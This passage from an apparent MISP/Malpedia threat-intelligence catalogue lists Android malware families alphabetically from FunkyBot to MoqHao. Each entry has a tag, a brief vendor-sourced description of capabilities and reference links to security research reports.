https://blog.zimperium.com/flytrap-android-malware-compromises-thousands-of-facebook-accounts/

FunkyBot

The tag is: *misp-galaxy:malpedia="FunkyBot"*

FunkyBot is also known as:

Table 2214. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.funkybot
https://securelist.com/roaming-mantis-part-v/96250/
https://www.fortinet.com/blog/threat-research/funkybot-malware-targets-japan.html
https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681

FurBall

According to Check Point, they uncovered an operation dubbed "Domestic Kitten", which uses malicious Android applications to steal sensitive personal information from its victims: screenshots, messages, call logs, surrounding voice recordings, and more. This operation managed to remain under the radar for a long time, as the associated files were not attributed to a known malware family and were only detected by a handful of security vendors.

The tag is: *misp-galaxy:malpedia="FurBall"*

FurBall is also known as:

Table 2215. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.furball
https://www.trendmicro.com/en_us/research/19/f/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.html
https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/
https://www.bleepingcomputer.com/news/security/domestic-kitten-apt-operates-in-silence-since-2016/
https://www.virusbulletin.com/conference/vb2019/abstracts/domestic-kitten-iranian-surveillance-program
https://ti.qianxin.com/blog/articles/surprised-by-cyrus-the-great-disclosure-against-Iran-cyrus-attack/

https://www.bleepingcomputer.com/news/security/hacking-group-updates-furball-android-spyware-to-evade-detection/
https://documents.trendmicro.com/assets/appendix-mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.pdf

Gaganode (Android)

According to Synthient, Gaganode is a decentralized bandwidth monetization service that enables both users and publishers to earn crypto for their bandwidth or monetize other people's bandwidth. The SDK intentionally implements RCE, thus aligning Gaganode more closely with malware than standard commercial SDKs.

The tag is: *misp-galaxy:malpedia="Gaganode (Android)"*

Gaganode (Android) is also known as:

Table 2216. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.gaganode
https://synthient.com/blog/ipcola-a-tangled-mess

Geost

The tag is: *misp-galaxy:malpedia="Geost"*

Geost is also known as:

Table 2217. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.geost
https://www.trendmicro.com/en_us/research/20/c/dissecting-geost-exposing-the-anatomy-of-the-android-trojan-targeting-russian-banks.html
https://www.virusbulletin.com/virusbulletin/2019/10/vb2019-paper-geost-botnet-story-discovery-new-android-banking-trojan-opsec-error/
https://www.gosecure.net/blog/2020/12/02/deep-dive-into-an-obfuscation-as-a-service-for-android-malware/

Ghimob

The tag is: *misp-galaxy:malpedia="Ghimob"*

Ghimob is also known as:

Table 2218. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ghimob
https://securelist.com/ghimob-tetrade-threat-mobile-devices/99228/

GhostCtrl

The tag is: *misp-galaxy:malpedia="GhostCtrl"*

GhostCtrl is also known as:

Table 2219. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ghostctrl
https://blog.trendmicro.com/trendlabs-security-intelligence/android-backdoor-ghostctrl-can-silently-record-your-audio-video-and-more/

Gigabud

Gigabud is the name of an Android Remote Access Trojan (RAT) Android that can record the victim's screen and steal banking credentials by abusing the Accessibility Service. Gigabud masquerades as banking, shopping, and other applications. Threat actors have been observed using deceptive websites to distribute Gigabud RAT.

The tag is: *misp-galaxy:malpedia="Gigabud"*

Gigabud is also known as:

Table 2220. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.gigabud
https://www.group-ib.com/blog/gigabud-banking-malware/
https://blog.cyble.com/2023/01/19/gigabud-rat-new-android-rat-masquerading-as-government-agencies/

Ginp

Ginp is a mobile banking software targeting Android devices that was discovered by Kaspersky. The malware is able to steal both user credentials and credit cards numbers by implementing overlay attacks. For this, overlay targets are for example the default SMS application. What makes Ginp a remarkable family is how its operators managed to have it remain undetected over time even and it receiving version upgrades over many years. According to ThreatFabric, Ginp has the following features:

Overlaying: Dynamic (local overlays obtained from the C2) SMS harvesting: SMS listing SMS

harvesting: SMS forwarding Contact list collection Application listing Overlaying: Targets list update SMS: Sending Calls: Call forwarding C2 Resilience: Auxiliary C2 list Self-protection: Hiding the App icon Self-protection: Preventing removal Self-protection: Emulation-detection.

The tag is: *misp-galaxy:malpedia="Ginp"*

Ginp is also known as:

Table 2221. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ginp
https://securityintelligence.com/posts/ginp-malware-operations-rising-expansions-turkey/
https://twitter.com/ESETresearch/status/1269945115738542080
https://www.kaspersky.com/blog/ginp-trojan-coronavirus-finder/34338/
https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html
https://www.threatfabric.com/blogs/2020_year_of_the_rat.html
https://muha2xmad.github.io/malware-analysis/ginp/
https://www.youtube.com/watch?v=WeL_xSryj8E

GlanceLove

The tag is: *misp-galaxy:malpedia="GlanceLove"*

GlanceLove is also known as:

Table 2222. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.glancelove
https://www.haaretz.com/israel-news/hamas-cyber-ops-spied-on-israeli-soldiers-using-fake-world-cup-app-1.6241773
https://www.idf.il/en/minisites/hamas/hamas-uses-fake-facebook-profiles-to-target-israeli-soldiers/
https://securelist.com/breaking-the-weakest-link-of-the-strongest-chain/77562/
https://www.clearskysec.com/glancelove/

GnatSpy

The tag is: *misp-galaxy:malpedia="GnatSpy"*

GnatSpy is also known as:

Table 2223. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/apk.gnatspy
https://www.trendmicro.com/en_us/research/17/l/new-gnatspy-mobile-malware-family-discovered.html

GoatRAT

The tag is: *misp-galaxy:malpedia="GoatRAT"*

GoatRAT is also known as:

Table 2224. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.goat_rat
https://labs.k7computing.com/index.php/goatrat-attacks-automated-payment-systems/

Godfather

According to PCrisk, Godfather is the name of an Android malware targeting online banking pages and cryptocurrency exchanges in 16 countries. It opens fake login windows over legitimate applications. Threat actors use Godfather to steal account credentials. Additionally, Godfather can steal SMSs, device information, and other data.

The tag is: *misp-galaxy:malpedia="Godfather"*

Godfather is also known as:

Table 2225. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.godfather
https://shindan.io/blog/godfather-part-1-a-multistage-dropper
https://muha2xmad.github.io/malware-analysis/godfather/
https://github.com/LaurieWired/StrangeLoop
https://brandefense.io/blog/godfather-android-banking-trojan/
https://blog.group-ib.com/godfather-trojan

GoldenEagle

The tag is: *misp-galaxy:malpedia="GoldenEagle"*

GoldenEagle is also known as:

Table 2226. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/apk.goldeneagle
https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

GoldenRAT

The tag is: *misp-galaxy:malpedia="GoldenRAT"*

GoldenRAT is also known as:

Table 2227. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.goldenrat
https://ti.360.net/blog/articles/apt-c-27-(goldmouse):-suspected-target-attack-against-the-middle-east-with-winrar-exploit-en/

GoldDigger

The tag is: *misp-galaxy:malpedia="GoldDigger"*

GoldDigger is also known as:

Table 2228. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.gold_digger
https://www.group-ib.com/blog/golddigger-fraud-matrix/

goontact

The tag is: *misp-galaxy:malpedia="goontact"*

goontact is also known as:

Table 2229. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.goontact
https://blog.cyble.com/2021/09/03/spyware-variant-disguised-as-korean-video-app-targets-multiple-asian-countries/
https://blog.lookout.com/lookout-discovers-new-spyware-goontact-used-by-sextortionists-for-blackmail

GPlayed

Cisco Talos identifies GPlayed as a malware written in .NET using the Xamarin environment for mobile applications. It is considered powerful because of its capability to adapt after its deployment. In order to achieve this adaptability, the operator has the capability to remotely load plugins, inject scripts and even compile new .NET code that can be executed.

The tag is: *misp-galaxy:malpedia="GPlayed"*

GPlayed is also known as:

Table 2230. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.gplayed
https://blog.talosintelligence.com/2018/10/gplayedtrojan.html
https://blog.talosintelligence.com/2018/10/gplayerbanker.html

Gravity RAT (Android)

The tag is: *misp-galaxy:malpedia="Gravity RAT (Android)"*

Gravity RAT (Android) is also known as:

Table 2231. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.gravity_rat
https://securelist.com/gravityrat-the-spy-returns/99097/
https://www.welivesecurity.com/2023/06/15/android-gravityrat-goes-after-whatsapp-backups/
https://blog.talosintelligence.com/cosmic-leopard/

GriftHorse

The tag is: *misp-galaxy:malpedia="GriftHorse"*

GriftHorse is also known as:

Table 2232. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.grifthorse
https://blog.zimperium.com/grifthorse-android-trojan-steals-millions-from-over-10-million-victims-globally/

Guerrilla

The tag is: *misp-galaxy:malpedia="Guerrilla"*

Guerrilla is also known as:

Table 2233. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.guerrilla
https://www.trendmicro.com/en_us/research/22/b/sms-pva-services-use-of-infected-android-phones-reveals-flaws-in-sms-verification.html

Gustuff

Group-IB describes Gustuff as a mobile Android Trojan, which includes potential targets of customers in leading international banks, users of cryptocurrency services, popular ecommerce websites and marketplaces. Gustuff has previously never been reported. Gustuff is a new generation of malware complete with fully automated features designed to steal both fiat and crypto currency from user accounts en masse. The Trojan uses the Accessibility Service, intended to assist people with disabilities. The analysis of Gustuff sample revealed that the Trojan is equipped with web fakes designed to potentially target users of Android apps of top international banks including Bank of America, Bank of Scotland, J.P.Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, and crypto services such as Bitcoin Wallet, BitPay, Cryptopay, Coinbase etc. Group-IB specialists discovered that Gustuff could potentially target users of more than 100 banking apps, including 27 in the US, 16 in Poland, 10 in Australia, 9 in Germany, and 8 in India and users of 32 cryptocurrency apps.

The tag is: *misp-galaxy:malpedia="Gustuff"*

Gustuff is also known as:

Table 2234. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.gustuff
https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf
https://www.group-ib.com/media/gustuff/
https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html
https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html
https://www.threatfabric.com/blogs/2020_year_of_the_rat.html
https://blog.talosintelligence.com/2019/10/gustuffv2.html

HARDRAIN (Android)

The tag is: *misp-galaxy:malpedia="HARDRAIN (Android)"*

HARDRAIN (Android) is also known as:

Table 2235. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hardrain
https://unit42.paloaltonetworks.com/unit42-operation-blockbuster-goes-mobile/
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf
https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/#sf174581990

HawkShaw

The tag is: *misp-galaxy:malpedia="HawkShaw"*

HawkShaw is also known as:

Table 2236. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hawkshaw
https://research.checkpoint.com/2021/going-rogue-a-mastermind-behind-android-malware-returns-with-a-new-rat/
https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-hawkshaw

HenBox

The tag is: *misp-galaxy:malpedia="HenBox"*

HenBox is also known as:

Table 2237. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.henbox
https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/
https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/
https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/

Hermit

Lookout states that Hermit is an advanced spyware designed to target iOS and Android mobile devices. It is designed to collect extensive amounts of sensitive data on its victims such as their location, contacts, private messages, photos, call logs, phone conversations, ambient audio recordings, and more.

The tag is: *misp-galaxy:malpedia="Hermit"*

Hermit is also known as:

Table 2238. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hermit
https://de.lookout.com/blog/hermit-spyware-discovery
https://www.lighthousereports.nl/investigation/revealing-europes-nso
https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/

HeroRAT

The tag is: *misp-galaxy:malpedia="HeroRAT"*

HeroRAT is also known as:

Table 2239. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hero_rat
https://www.welivesecurity.com/2018/06/18/new-telegram-abusing-android-rat/

HiddenAd

HiddenAd is a malware that shows ads as overlays on the phone.

The tag is: *misp-galaxy:malpedia="HiddenAd"*

HiddenAd is also known as:

Table 2240. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hiddenad
https://securelist.com/mobile-malware-evolution-2019/96280/

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/new-hiddenads-malware-that-runs-automatically-and-hides-on-google-play-1m-users-affected/
https://labs.bitdefender.com/2020/03/infected-zoom-apps-for-android-target-work-from-home-users
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://twitter.com/LukasStefanko/status/1136568939239137280

HilalRAT

RAT, which can be used to extract sensitive information, e.g. contact lists, txt messages, location information.

The tag is: *misp-galaxy:malpedia="HilalRAT"*

HilalRAT is also known as:

Table 2241. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hilalrat
https://thehackernews.com/2022/04/microsoft-obtains-court-order-to-take.html

Hook

According to ThreatFabric, this is a malware family based on apk.ermac. The name hook is the self-advertised named by its vendor DukeEugene. It provides WebSocket communication and has RAT capabilities.

The tag is: *misp-galaxy:malpedia="Hook"*

Hook is also known as:

Table 2242. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hook
https://research.nccgroup.com/2023/09/11/from-ermac-to-hook-investigating-the-technical-differences-between-two-android-malware-variants/
https://medium.com/@joshuapenny88/hostinghunter-series-chang-way-technologies-co-limited-a9ba4fce0f65
https://cebrf.knf.gov.pl/komunikaty/artykuly-csirt-knf/362-ostrzezenia/858-hookbot-a-new-mobile-malware
https://www.threatfabric.com/blogs/hook-a-new-ermac-fork-with-rat-capabilities.html
https://github.com/0xperator/hookbot_source

https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf
https://www.sciencedirect.com/science/article/pii/S266628172400088X
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://zimperium.com/blog/hook-version-3-the-banking-trojan-with-the-most-advanced-capabilities
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/
https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf

Hydra

Avira states that Hydra is an Android BankBot variant, a type of malware designed to steal banking credentials. The way it does this is by requesting the user enables dangerous permissions such as accessibility and every time the banking app is opened, the malware is hijacking the user by overwriting the legit banking application login page with a malicious one. The goal is the same, to trick the user to enter his login credentials so that it will go straight to the malware authors.

The tag is: *misp-galaxy:malpedia="Hydra"*

Hydra is also known as:

Table 2243. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hydra
https://cryptax.medium.com/android-bianlian-payload-61febabed00a
https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726
https://pentest.blog/android-malware-analysis-dissecting-hydra-dropper/
https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace
https://medium.com/@joshuapenny88/hostinghunter-series-chang-way-technologies-co-limited-a9ba4fce0f65
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf
https://blog.cyble.com/2022/06/13/hydra-android-malware-distributed-via-play-store/
https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5
https://cocomelonc.github.io/book/2025/05/19/aiya-mmd-book.html
https://twitter.com/muha2xmad/status/1570788983474638849
https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html
https://www.threatfabric.com/blogs/2020_year_of_the_rat.html

https://muha2xmad.github.io/malware-analysis/hydra/
https://www.avira.com/en/blog/avira-labs-research-reveals-hydra-banking-trojan-2-0
https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221

IPStorm (Android)

Android variant of IPStorm (InterPlanetary Storm).

The tag is: *misp-galaxy:malpedia="IPStorm (Android)"*

IPStorm (Android) is also known as:

- InterPlanetary Storm

Table 2244. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ipstorm
https://blog.barracuda.com/2020/10/01/threat-spotlight-new-interplanetary-storm-variant-iot/
https://cocomelonc.github.io/book/2025/05/19/aiya-mmd-book.html
https://www.justice.gov/usao-pr/pr/russian-and-moldovan-national-pleads-guilty-operating-illegal-botnet-proxy-service
https://www.bitdefender.com/files/News/CaseStudies/study/376/Bitdefender-Whitepaper-IPStorm.pdf

IRATA

According to redpiranha, IRATA (Iranian Remote Access Trojan) Android Malware is a new malware detected in the wild. It originates from a phishing attack through SMS. The theme of the message resembles information coming from the government that will ask you to download this malicious application. IRATA can collect sensitive information from your mobile phone including bank details. Since it infects your mobile, it can also gather your SMS messages which then can be used to obtain 2FA tokens.

The tag is: *misp-galaxy:malpedia="IRATA"*

IRATA is also known as:

Table 2245. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.irata
https://onecert.ir/portal/blog/irata
https://muha2xmad.github.io/malware-analysis/irata/
https://twitter.com/muha2xmad/status/1562831996078157826

IRRat

The tag is: *misp-galaxy:malpedia="IRRat"*

IRRat is also known as:

Table 2246. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.irrat
https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/

JadeRAT

The tag is: *misp-galaxy:malpedia="JadeRAT"*

JadeRAT is also known as:

Table 2247. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.jaderat
https://blog.lookout.com/mobile-threat-jaderat

Joker

Joker is one of the most well-known malware families on Android devices. It manages to take advantage of Google's official app store with the help of its trail signatures which includes updating the virus's code, execution process, and payload-retrieval techniques. This malware is capable of stealing users' personal information including contact details, device data, WAP services, and SMS messages.

The tag is: *misp-galaxy:malpedia="Joker"*

Joker is also known as:

- Bread

Table 2248. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.joker
https://medium.com/csis-techblog/analysis-of-joker-a-spy-premium-subscription-bot-on-googleplay-9ad24f044451
https://blogs.quickheal.com/stay-alert-joker-still-making-its-way-on-google-play-store/
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/

https://research.checkpoint.com/2020/new-joker-variant-hits-google-play-with-an-old-trick/
https://hunt.io/blog/uncovering-joker-c2-network
https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html
https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus
https://www.trendmicro.com/en_us/research/20/k/an-old-jokers-new-tricks—using-github-to-hide-its-payload.html
https://blogs.quickheal.com/google-play-store-applications-laced-with-joker-malware-yet-again/
https://labs.k7computing.com/?p=22199
https://www.microsoft.com/security/blog/2022/06/30/toll-fraud-malware-how-an-android-application-can-drain-your-wallet/
https://www.threatfabric.com/blogs/toad-fraud
https://web.archive.org/web/20210714010827/https://blog.zimperium.com/joker-is-still-no-laughing-matter/
https://muha2xmad.github.io/malware-analysis/hydra/
https://cryptax.medium.com/live-reverse-engineering-of-a-trojanized-medical-app-android-joker-632d114073c1
https://cryptax.medium.com/tracking-android-joker-payloads-with-medusa-static-analysis-and-patience-672348b81ac2
https://labs.k7computing.com/index.php/joker-unleashes-itself-again-on-google-play-store/

KevDroid

The tag is: *misp-galaxy:malpedia="KevDroid"*

KevDroid is also known as:

Table 2249. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.kevdroid
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://researchcenter.paloaltonetworks.com/2018/04/unit42-reaper-groups-updated-mobile-arsenal/
https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html

KnSpy

The tag is: *misp-galaxy:malpedia="KnSpy"*

KnSpy is also known as:

Table 2250. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.knspy
https://twitter.com/voodoodahl1/status/1267571622732578816
https://cybleinc.com/2021/04/21/donot-team-apt-group-is-back-to-using-old-malicious-patterns/
https://s.tencent.com/research/report/951.html
https://blog.talosintelligence.com/2020/10/donot-firestarter.html
https://community.riskiq.com/article/6f60db72
https://blogs.360.cn/post/APT-C-35_target_at_armed_forces_in_Pakistan.html

Koler

The tag is: *misp-galaxy:malpedia="Koler"*

Koler is also known as:

Table 2251. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.koler
https://twitter.com/LukasStefanko/status/928262059875213312

Konni (Android)

The tag is: *misp-galaxy:malpedia="Konni (Android)"*

Konni (Android) is also known as:

Table 2252. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.konni
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-konni-apt-group-active-iocs-11

KoSpy

According to Lookout, this spyware was first observed in March 2022 and remains active with new samples still publicly hosted. It uses a two-stage C2 infrastructure that retrieves initial configurations from a Firebase cloud database. KoSpy can collect extensive data, such as SMS messages, call logs, location, files, audio, and screenshots via dynamically loaded plugins. The spyware has Korean language support with samples distributed across Google Play and third-party app stores such as Apkpure.

The tag is: *misp-galaxy:malpedia="KoSpy"*

KoSpy is also known as:

Table 2253. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.kospy
https://www.lookout.com/threat-intelligence/article/lookout-discovers-new-spyware-by-north-korean-apt37

KSREMOTE

The tag is: *misp-galaxy:malpedia="KSREMOTE"*

KSREMOTE is also known as:

Table 2254. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ksremote
https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/

LANDFALL

The tag is: *misp-galaxy:malpedia="LANDFALL"*

LANDFALL is also known as:

Table 2255. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.landfall
https://unit42.paloaltonetworks.com/landfall-is-new-commercial-grade-android-spyware/

LittleLooter

The tag is: *misp-galaxy:malpedia="LittleLooter"*

LittleLooter is also known as:

Table 2256. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.little_looter
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-The-Kitten-That-Charmed-Me-The-9-Lives-Of-A-Nation-State-Attacker.pdf

https://securityintelligence.com/posts/itg18-operational-security-errors-plague-iranian-threat-group/
https://www.youtube.com/watch?v=nilzxS9rxEM
https://twitter.com/malwrhunterteam/status/1337684036374945792

Loki

The tag is: *misp-galaxy:malpedia="Loki"*

Loki is also known as:

Table 2257. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.loki
http://blog.checkpoint.com/2017/03/10/preinstalled-malware-targeting-mobile-users/

LokiBot

Android banker Trojan with the standard banking capabilities such as overlays, SMS stealing. It also features ransomware functionality. Note, the network traffic is obfuscated the same way as in Android Bankbot.

The tag is: *misp-galaxy:malpedia="LokiBot"*

LokiBot is also known as:

Table 2258. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot
https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728
https://drive.google.com/file/d/144cOnM6fxfuBeP0V2JQshp8C0Zlk_0kH/view
https://muha2xmad.github.io/mal-document/lokibotpdf/
https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html
https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/
https://isc.sans.edu/diary/27282
https://github.com/vc0RExor/Malware-Threat-Reports/blob/main/Lokibot/Machete-Weapons-Lokibot/Machete%20weapons-Lokibot_EN.pdf
https://securelist.com/emotet-darkgate-lokibot-crimeware-report/110286/
https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/steganoamor-campaign-ta558-mass-attacking-companies-and-public-institutions-all-around-the-world/

LuckyCat

The tag is: *misp-galaxy:malpedia="LuckyCat"*

LuckyCat is also known as:

Table 2259. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.luckycat
https://blog.talosintelligence.com/2019/02/exilerat-shares-c2-with-luckycat.html

LunaSpy

The tag is: *misp-galaxy:malpedia="LunaSpy"*

LunaSpy is also known as:

- Backdoor.916

Table 2260. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.luna_spy
https://www.kaspersky.com/blog/disguised-spy-for-android/54051/

Mandrake

The tag is: *misp-galaxy:malpedia="Mandrake"*

Mandrake is also known as:

Table 2261. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.mandrake
https://www.bitdefender.com/files/News/CaseStudies/study/329/Bitdefender-PR-Whitepaper-Mandrake-creat4464-en-EN-interactive.pdf

Marcher

The tag is: *misp-galaxy:malpedia="Marcher"*

Marcher is also known as:

- ExoBot

Table 2262. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.marcher
https://www.clientsidedetection.com/exobot_v2_update_staying_ahead_of_the_competition.html
https://securelist.com/mobile-malware-evolution-2019/96280/
https://www.zscaler.de/blogs/research/android-marcher-continuously-evolving-mobile-malware
https://www.proofpoint.com/us/blog/threat-insight/update-fake-updates-two-new-actors-and-new-mac-malware

MasterFred

According to heimdal, MasterFred malware, this is designed as an Android trojan that makes use of false login overlays to target not only Netflix, Instagram, and Twitter users, but also bank customers. The hackers' goal is to steal credit card information.

The tag is: *misp-galaxy:malpedia="MasterFred"*

MasterFred is also known as:

- Brox

Table 2263. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.masterfred
https://twitter.com/AvastThreatLabs/status/1458162276708483073

MazarBot

The tag is: *misp-galaxy:malpedia="MazarBot"*

MazarBot is also known as:

Table 2264. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.mazarbot
https://heimdalsecurity.com/blog/security-alert-mazar-bot-active-attacks-android-malware/
https://b0n1.blogspot.de/2017/08/phishing-attack-at-raiffeisen-bank-by.html

Medusa (Android)

According to ThreatFabric, this is an Android banking trojan under active development as of July 2020. It is using TCP for C&C communication and targets Turkish banks.

The tag is: *misp-galaxy:malpedia="Medusa (Android)"*

Medusa (Android) is also known as:

- Gorgona

Table 2265. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.medusa
https://www.cleafy.com/cleafy-labs/medusa-reborn-a-new-compact-variant-discovered
https://twitter.com/ThreatFabric/status/1285144962695340032
https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html
https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html

Meterpreter (Android)

The tag is: *misp-galaxy:malpedia="Meterpreter (Android)"*

Meterpreter (Android) is also known as:

Table 2266. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.meterpreter
https://medium.com/@cryptax/locating-the-trojan-inside-an-infected-covid-19-contact-tracing-app-21e23f90fbfe
https://medium.com/@cryptax/into-android-meterpreter-and-how-the-malware-launches-it-part-2-ef5aad2ebf12
https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html
https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w

MobileOrder

Check Point has identified samples of this spyware being distributed since 2015. No samples were found on Google Play, meaning they were likely through other channels like social engineering.

The tag is: *misp-galaxy:malpedia="MobileOrder"*

MobileOrder is also known as:

Table 2267. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.mobile_order
https://research.checkpoint.com/2022/never-truly-left-7-years-of-scarlet-mimics-mobile-surveillance-campaign-targeting-uyghurs/

Monokle

Monokle is a sophisticated mobile surveillanceware that possesses remote access trojan (RAT) functionality, advanced data exfiltration techniques as well as the ability to install an attacker-specified certificate to the trusted certificates on an infected device that would allow for man-in-the-middle (MITM) attacks. According to Lookout researchers, It is believed to be developed by Special Technology Center (STC), which is a Russian defense contractor sanctioned by the U.S. Government in connection to alleged interference in the 2016 US presidential elections.

The tag is: *misp-galaxy:malpedia="Monokle"*

Monokle is also known as:

Table 2268. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.monokle
https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf
https://citizenlab.ca/2024/12/device-confiscated-by-russian-authorities-returned-with-monokle-type-spyware-installed/

MoqHao

MoqHao, also called Wroba and XLoader (not to be confused with the malware of the same name for Windows and macOS), is an Android-based mobile threat that is associated with a financially motivated Chinese group called Roaming Mantis. The malware claims to be the default SMS application and has dropper and banker capabilities.

The tag is: *misp-galaxy:malpedia="MoqHao"*

MoqHao is also known as:

- Shaoye
- Wroba
- XLoader

Table 2269. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.moqhao

https://cryptax.medium.com/a-native-packer-for-android-moqhao-6362a8412fe1
https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/
